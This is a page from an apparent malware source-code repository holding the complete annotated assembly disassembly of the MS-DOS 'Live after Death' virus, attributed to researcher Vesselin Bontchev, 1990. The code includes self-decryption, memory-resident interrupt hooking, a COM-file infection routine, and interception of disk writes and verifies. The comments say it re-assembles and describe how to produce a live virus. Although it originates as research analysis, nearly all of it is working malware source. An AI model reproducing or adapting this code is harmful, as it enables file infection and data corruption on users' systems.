MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.v800.asm
2021-01-12 18:04:54 -06:00

622 lines
18 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

page ,132
name V800
title The 'Live after Death' virus
.radix 16
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", ap. 51 º
; º Telephone: Private: (+35-92) 58-62-61, Office: (+35-92) 71-401 ext. 255 º
; º º
; º The 'Live after Death' Virus º
; º Disassembled by Vesselin Bontchev, May 1990 º
; º º
; º Copyright (c) Vesselin Bontchev 1989, 1990 º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; The disassembly has been tested by re-assembly using MASM 5.0.
code segment
assume cs:code, ds:code
org 100
timer equ 46C
v_len = v_end-v_entry
start:
jmp v_entry ; JMP to the virus code
db 900d dup (90) ; The beginning of the infected program
v_entry: ; The virus body begins here
cli ; Disable interrupts
xchg ax,bp ; Save AX
call self ; Point SI at the start of the encrypted part
self:
pop si ; Get current address
add si,19 ; (v_start-self) Length of the decryption part
cld ; Clear direction flag
mov di,si ; Point DI at v_start too
xor dx,dx ; DX := 0 (the checksum is formed there)
mov cx,(v_end-v_start)/2 ; The length of the encrypted part
push cx ; Save it on stack
do_chksum: ; Compute the checksum of the encrypted part
lodsw ; Get word
xor dx,ax ; ChkSum ^= Word
loop do_chksum ; Loop until done
pop cx ; Restore length (in words) in CX
; Decrypt the encrypted part. XOR every word of it with the computed checksum.
decrypt:
xor [di],dx ; XOR a word
inc di ; Point to the next one
inc di
loop decrypt ; Loop until done
; The code beyond this point was encrypted. If this source is
; assembled now, it won't run, since the decryption part will
; scramble it. To produce a 'live' virus, the following code
; must be encrypted "manually" (i.e., with another program)
; after assembly.
v_start:
; Adjust SI to point at v_entry (it currently points at v_end):
add si,v_entry-v_end
mov bx,sp ; Install a new stack at the
mov cl,4 ; program's end - just to be sure
shr bx,cl ; that the original one won't
inc bx ; corrupt the virus
mov ax,ss
add bx,ax
mov cx,v_len/2 ; CX := virus length in words
mov di,4
mov ax,[di-2] ; Get TopMem segment (_psp [2])
dec dx ; Subtract 1 from the checksum
push ds ; Save DS & checksum on the stack
push dx
mov dx,ds ; DX := DS
mov ds,di ; Check if INT 2Ah is intercepted by a
cmp ax,[di+(2A*4+2-(4*10+4))] ; program at TopMem
je in_mem ; Virus present in memory if so
; Virus not in memory. Install it there:
sub ah,2 ; Reserve 8 K memory (?!)
cmp bx,ax ; Enough memory?
jae no_mem ; Exit if not
dec di ; Point DI at TopMem
dec di
stosw ; Lower TopMem by 8 K
dec dx ; Point ES at program's MCB
mov es,dx
sub byte ptr es:[di],2 ; Lower MCB's size by 8 K too
; Install the new INT 2Ah handler. This interrupt (funcrion 82h) is
; called by PC-DOS on every file-related function. Thus, the virus
; gets control without even intercepting INT 21h!
mov [di+(2A*4+2-(4*10+4))],ax ; Segment
in_mem:
mov word ptr [di+(2A*4-(4*10+4))],int_2A-v_entry ; Offset
push ax
les bx,[di+(13*4-(4*10+4))] ; Get the current INT 13h handler
mov ah,13 ; Get the original INT 13h handler
int 2F ; (DOS 3.30 only)
mov cs:[si+do_it_i+1-v_entry],bx ; Save the found vector as a
mov cs:[si+do_it_i+1+2-v_entry],es ; Far JMP in the virus body
mov ah,13 ; Restore the internal (DOS) INT 13h handler
int 2F
mov ax,es ; Get INT 13h handler's segment in AX
push cs ; DS := CS
pop ds
; Compare the segment of the found INT 13h handler with the
; one, stored as a Far JMP. If they match, this means that
; the virus is already present in memory (i.e., loaded for
; a multiple infected file).
les bx,[si+do_it_i+1-v_entry]
cmp ax,[si+do_it_i+1+2-v_entry] ; Virus already in memory?
pop ds ; Restore DS
pushf ; Save the result of the comparision on stack
push ds ; Save DS
mov dx,int_13i-v_entry ; Install new internal INT 13h handler
mov ah,13 ; Do it
int 2F
pop es ; ES := saved DS
xor di,di ; DI := 0
push si ; Save SI & CX
push cx
; Move the virus body in the allocated segment at TopMem:
rep movs word ptr es:[di],word ptr cs:[si]
push es ; ES := DS
pop ds
mov [di+0A],cl ; Zero old_op
pop cx ; Restore CX & SI
pop si
pop [di+8] ; flags (i.e. - virus installed)
pop [di+6] ; chksum-1
no_mem:
pop es ; Clear the stack
sti ; Enable interrupts
push cs ; DS := CS
pop ds
mov di,offset start-2 ; DI := 0FEh
push di ; Push this value in the stack
mov ax,0A5F3 ; Store REP MOVSW there
stosw
push si ; Save SI
add si,first3-v_entry ; Point SI at the saved first 3 bytes
movsw ; Restore the original first 3
movsb ; bytes of the file
pop di ; DI := saved SI
lodsw ; Get the offset at which the file was split
xchg ax,si ; Put it in SI
add si,offset start ; Adjust it with the PSP length
xchg ax,bp ; Restore AX (to keep DISKCOPY happy)
; On the top of stack now there is 0FEh. Therefore, the RET instruction
; will transfer the control to the program at this address. And at this
; address there is the REP MOVSW instruction (put there by the virus).
; Therefore, it will restore the second part of the file (split by the
; virus) and will begin to execute it from the beginning (the first 3
; bytes are already restored).
ret
; Infection routine:
infect:
push cx ; Save registers used
push dx
push si
push di
push ds
push es
xor cx,cx ; DS := AX := 0; CX = function
xchg ax,cx
mov ds,ax
push cs ; ES := CS
pop es
mov di,do_it+1-v_entry ; Install new INT 13h handler
mov si,13*4
mov ax,int_13-v_entry ; New handler's offset
xchg ax,[si]
stosw ; Save the old one as a Far JMP
push ax ; Save it on the stack too
mov ax,es ; Do the same with the handler's segment
xchg ax,[si+2]
stosw
push ax
mov ax,int_24-v_entry ; Install new INT 24h handler
xchg ax,[si+24*4-13*4]
push ax ; Save the old one on the stack
mov ax,es ; Do the same with the handler's segment
xchg ax,[si+24*4-13*4+2]
push ax
push ds ; Save DS & SI (0 and 13*4 respectively)
push si
xor dl,dl ; Turn Ctrl-Break checking off
mov ax,3302 ; and get the old checking state
int 21
push dx ; Save state on stack
mov ax,1220 ; Get system file table number in ES:DI
int 2F ; Do it
jc inf_xit ; Exit on error
push bx ; Save BX
mov bl,es:[di] ; Put system file table number in BL
mov ax,1216 ; Get address of system FCB in ES:DI
int 2F ; Do it
pop bx ; Restore BX
jc inf_xit ; Exit on error
mov si,ds:[timer] ; Load SI with a random value
push es ; DS := ES
pop ds
mov cl,80 ; Prepare to test if it's a disk file
cmp ch,3E ; Close file operation requested?
jne dont_dup ; Don't duplicate handle if so
mov ah,45 ; Otherwise do it
int 21
jc inf_xit ; Exit on error
xchg ax,bx ; Save handle in BX
; Prepare to test for disk file and wheather file has been written:
mov cl,0C0
dont_dup:
and cl,[di+5] ; Test the Device Info Word
jnz inf_xit ; Exit if test fails
xor dx,dx ; DX := 0
cmp dx,[di+13] ; Is file size > 64 K?
jne inf_xit ; Exit if so
mov ax,[di+28] ; Get the first 2 bytes of the file extension
cmp ax,'XE' ; .EXE-file?
je chk_last ; Go check the last letter too
cmp ax,'OC' ; Maybe it's a .COM-file?
jne chk_exec ; If not, try to infect it only on execution
cmp ax,[di+20] ; Is this the file "COMM*.CO*"?
mov ax,'MM'
jne chk_last ; If not, check wheather it really has
cmp ax,[di+22] ; a .COM extension
je inf_xit ; Otherwise exit
chk_last:
cmp al,[di+2A] ; Check the last letter of file's extension
je chk_len ; Check the file size if name does match
chk_exec:
cmp ch,4Bh ; Exec function requested?
jne inf_xit ; Exit if not
; Check if file length fits in the infectable intervals.
; The infectable intervals are:
; 1024 - 8191 ( 0400h - 1FFFh)
; 9216 - 16383 ( 2400h - 3FFFh)
; 17408 - 24575 ( 4400h - 5FFFh)
; 25600 - 32767 ( 6400h - 7FFFh)
; 33762 - 40959 ( 8400h - 9FFFh)
; 41984 - 49151 (0A400h - 0BFFFh)
; 50176 - 57343 (0C400h - 0DFFFh)
; 58368 - 64511 (0E400h - 0FBFFh)
chk_len:
test byte ptr [di+12],00011100b
jz inf_xit ; Exit if not in an infectable interval
cmp byte ptr [di+12],11111100b
jb len_ok
inf_xit: ; File not suitable for infection
jmp close ; Close it and exit
len_ok:
mov ax,[di+11] ; Get file size (from the internal FCB)
xchg ax,si ; Put it in SI (the random value is now in AX)
xchg al,ah ; "Randomize" it a bit more
push si ; Save SI (pointed at file end)
; Compute in DX the random position at which the file will be split:
sub si,3
div si ; DX := ((f_size - 3) mod rand ()) + 3
add dx,3
lds si,[di+7] ; Get Device Control Block info
cmp byte ptr [si+8],2 ; Is the number of FATs >= 2? (?!)
pop si ; Restore SI (to point at file end)
jb inf_xit ; Exit if not (only 1 FAT, that is)
mov byte ptr es:[di+2],10b ; Set file open mode to writable
xor ax,ax
xchg ax,es:[di+15] ; Get file position in AX and seek to file beg.
push ax ; Save original position on stack
push cs ; DS := CS
pop ds
push dx ; Save computed split position on stack
mov dx,first3-v_entry
mov cx,3 ; Read the first 3 bytes of the file
mov ah,3F ; and save them in the virus body
int 21 ; Do it
pop ax ; Restore split position from stack
jc xit1 ; Exit on error
mov es:[di+15],ax ; Seek at split position
sub ax,3 ; Form a JMP instruction to that position
mov ds:[jmp_adr-v_entry],ax ; at jmp_op
mov ax,ds:[first3-v_entry] ; Get the first 2 bytes of the file
cmp ax,'ZM' ; Is it an .EXE-type file?
je xit2 ; Exit if so
cmp ax,'MZ' ; Double check for .EXE-files
je xit2 ; Exit if such file
mov dx,buffer-v_entry
mov cx,v_len ; Read the original (up to v_len)
mov ah,3F ; bytes into the buffer
int 21 ; Do it
xit1:
jc xit2 ; Exit on error
; Get the number of bytes read in CX and put the virus length in AX:
xchg ax,cx
; SI points at file end. Add the virus length to get the new file size:
add si,ax
; Now subtract the number of bytes read in, just to compute
; the offset from the beginning of the file, at which the
; second part of the splitted file has to be written:
sub si,cx
mov es:[di+15],si ; Seek at the computed offset
mov ah,40 ; Write the original second part of the file
int 21 ; Do it
jc xit2 ; Exit on error
sub ax,cx ; All bytes written?
jnz xit2 ; Exit on error
xchg ax,si ; SI := 0; AX := split position
mov ds:[split-v_entry],ax ; Save split position in the virus body
mov ax,ds:[jmp_adr-v_entry] ; Get the computed new JMP address
add ax,3
mov es:[di+15],ax ; And seek to that address in the file
push dx ; Save DX (currently points at the buffer area)
xor dx,dx ; DX := 0 (the checsum is formed there)
mov cx,v_len/2 ; Virus length in words
; Compute the new checksum of the virus and use it to encrypt the virus:
encrypt:
lodsw ; Get a word from the virus body
db 81, 0FE, 20, 0 ; I was unable to make MASM generate this (?!)
; cmp si,v_start-self+1
jb no_crypt ; Don't encrypt the decryption part
xor ax,ds:[chksum-v_entry] ; Compute the checksum
xor dx,ax
no_crypt:
mov word ptr [si+(data_1-v_entry)],ax ; Encrypt with it
loop encrypt ; Loop until done
xor dx,ds:[chksum-v_entry] ; Save the checksum
xor [si+2F3],dx ; (?!)
pop dx ; Restore DX (to point to the buffer area)
mov cx,v_len ; Write the virus body in the file
mov ah,40
int 21 ; Do it
jc xit2 ; Exit on error
sub ax,cx ; All bytes written?
jnz xit2 ; Exit on error
mov es:[di+15],ax ; Seek to file beginning (AX == 0 now)
mov dx,jmp_op-v_entry
mov cx,3 ; Overwrite the first 3 bytes of the file
mov ah,40 ; with a JMP to the virus code
int 21 ; Do it
xit2:
pop word ptr es:[di+15] ; Restore file position
or byte ptr es:[di+6],40 ; Set 'File Modified' bit
close:
mov ah,3E ; Close the file
int 21
pop dx ; Restore Ctrl-Break state from stack
mov ax,3301 ; Set old Ctrl-Break state
int 21
pop si ; Restore SI & DS (13*4 and 0 respectively)
pop ds
pop word ptr [si+24*4+2-13*4] ; Restore the old
pop word ptr [si+24*4-13*4] ; INT 24h handler
pop word ptr [si+2] ; Restore the old INT 13 handler
pop word ptr [si]
pop es ; Restore used registers
pop ds
pop di
pop si
pop dx
pop cx
ret ; Done. Exit
; New INT 2Ah, subfunction 82h handler. DOS calls
; this function on every file-related operation.
int_2A:
push si ; Save registers used
push di
push bp
push ds
push es
mov bp,sp
cmp ah,82 ; Function 82h?
jne int2A_xit ; Exit if not
mov ax,ds ; Is the current DS equal to caller's CS?
cmp ax,[bp+0C]
jne int2A_xit ; Exit if not
mov si,[bp+0A] ; Get the byte at caller's CS:IP
lodsb
cmp al,0CC ; Is it an INT3 instruction?
je int2A_xit ; Exit if so
mov ax,1218 ; Get caller's registers
int 2F
les di,[si+12] ; CS:IP, more exactly
cmp byte ptr es:[di],0CC ; Is there an INT3 instruction?
je int2A_xit ; Exit if so
mov ax,cs ; Called from the current segment
cmp ax,[si+14] ; (i.e., from the virus)?
je int2A_xit ; Exit if so
cmp word ptr es:[di-2],21CDh ; Called from INT 21h?
jne int2A_xit ; Exit if not
push cs ; ES := CS
pop es
mov di,v_len ; Point ES:DI at virus length
lodsw ; Get caller's AX
mov bp,ax ; Save it in BP
sub ah,3Dh ; Open file handle function requested?
je ok4inf ; OK for infection if so
dec ah ; Close file function requested?
je ok4inf ; OK for infection if so
sub ah,0Dh ; Exec function requested?
jne int2A_xit ; Exit if not
cmp al,2 ; Subfunctions 0 or 1?
jae int2A_xit ; Exit if not
; Now AH == 0. Check to see if count (ES:[DI-3E]) is zero too.
; If it's not, that would mean that this file handle belongs
; to an already infected by the virus file.
ok4inf:
cmp ah,es:[di-3E] ; Is count equal to zero?
mov cs:[di-3E],ah ; Zero count
jne int2A_xit ; Exit if not
mov bl,0C2 ; Othewise scramble BX (?!)
; Get the caller's CS:IP and save them as a Far JMP (just at v_end).
; Also, modify them to point at the program at loc_1. In this way,
; when the INT 2Ah handler terminates, the program at loc_1 will
; receive control. It will (eventually) infect the file and then
; perform a Far JMP to the place, where INT 2Ah was called.
mov ax,loc_1-v_entry ; Offset
xchg ax,[si+10] ; Shouldn't it be [si+14]? (?!)
dec ax
dec ax
stosw
mov ax,cs ; Segment
xchg ax,[si+12]
stosw
xchg ax,bp ; Restore AX from BP
stosw ; And save it in old_ax
int2A_xit:
pop es ; Restore used registers
pop ds
pop bp
pop di
pop si
; New INT 24h handler. Just terminate; AH
; already contains the suggested action.
int_24:
iret ; End of INT 2Ah and INT 24h handlers
int_13i: ; New internal INT 13h handler
cmp byte ptr cs:[old_op-v_entry],0 ; Iterrupt called from virus?
je do_it_i ; If not, just perform it "as is"
xor ah,ah ; Else zero the old_op flag and call the
xchg ah,byte ptr cs:[old_op-v_entry] ; interrupt with the true value
do_it_i:
db 0EA, 71, 0A9, 0, 0F0 ; Far JMP to old intern INT 13h handler
int_13: ; New INT 13h handler
mov byte ptr cs:[old_op-v_entry],ah
cmp ah,4 ; VERIFY operation specified?
je verify ; Return OK without performing it
cmp ah,3 ; WRITE operation requested?
jne do_it ; Just execute the old handler if not
push cs:[flags-v_entry]
popf ; What was the flags state?
jz do_it_i ; Execute operation if flags OK
dec ah ; Otherwise fake a READ operation
do_it:
db 0EA, 1F, 1Dh, 70, 0 ; Far JMP to old INT 13h handler
verify:
sub ax,ax ; Return 'No errors' (AX == 0 && CF == 0)
sti ; Enable interrupts
retf 2 ; Done. Exit
count db 1 ; Counter how many times the file is infected
first3 db 0E9, 0F8, 3 ; The first 3 bytes of the file
split dw 6A7 ; Address at which the file was split
dw 46BC ; (?!)
jmp_op db 0E9 ; Here a JMP to the virus code is formed
jmp_adr dw 384 ; The addres at which is JMPed
db 0, 'Live after Death', 0
loc_1:
pushf ; Save Flags
cli ; Disable interrupts
push bx ; Save BX
cld ; Clear direction flag
inc byte ptr cs:[count-v_entry] ; Increment infection counter
cmp ah,3E ; CLOSE function call?
je do_inf ; Just infect file if so
xchg ax,bx ; Otherwise get handle in BX
mov ax,3D00 ; Open the file for Reading only
int 21
jc dont_inf ; Don't infect if an error occured
xchg ax,bx ; Get handle in BX
do_inf:
call infect ; Infect the file
dont_inf:
mov ax,cs:[old_ax-v_entry] ; Restore caller's AX
pop bx ; Restore BX
popf ; Restore Flags
; Here is formed a Far JMP to the program, which called INT 2Ah, function 82h:
db 0EA
v_end equ $ ; End of virus code
old_ax equ v_end+4 ; Place to store caller's AX
chksum equ old_ax+2 ; Here a checksum is formed for encryption
flags equ chksum+2 ; Flag
data_1 equ flags+1 ; (?!)
old_op equ data_1+1 ; The last INT 13h operation
buffer equ old_op+1 ; Program I/O buffer
db 116d dup (90) ; The second part of the infected program
mov ax,4C00 ; Exit program
int 21
code ends
end start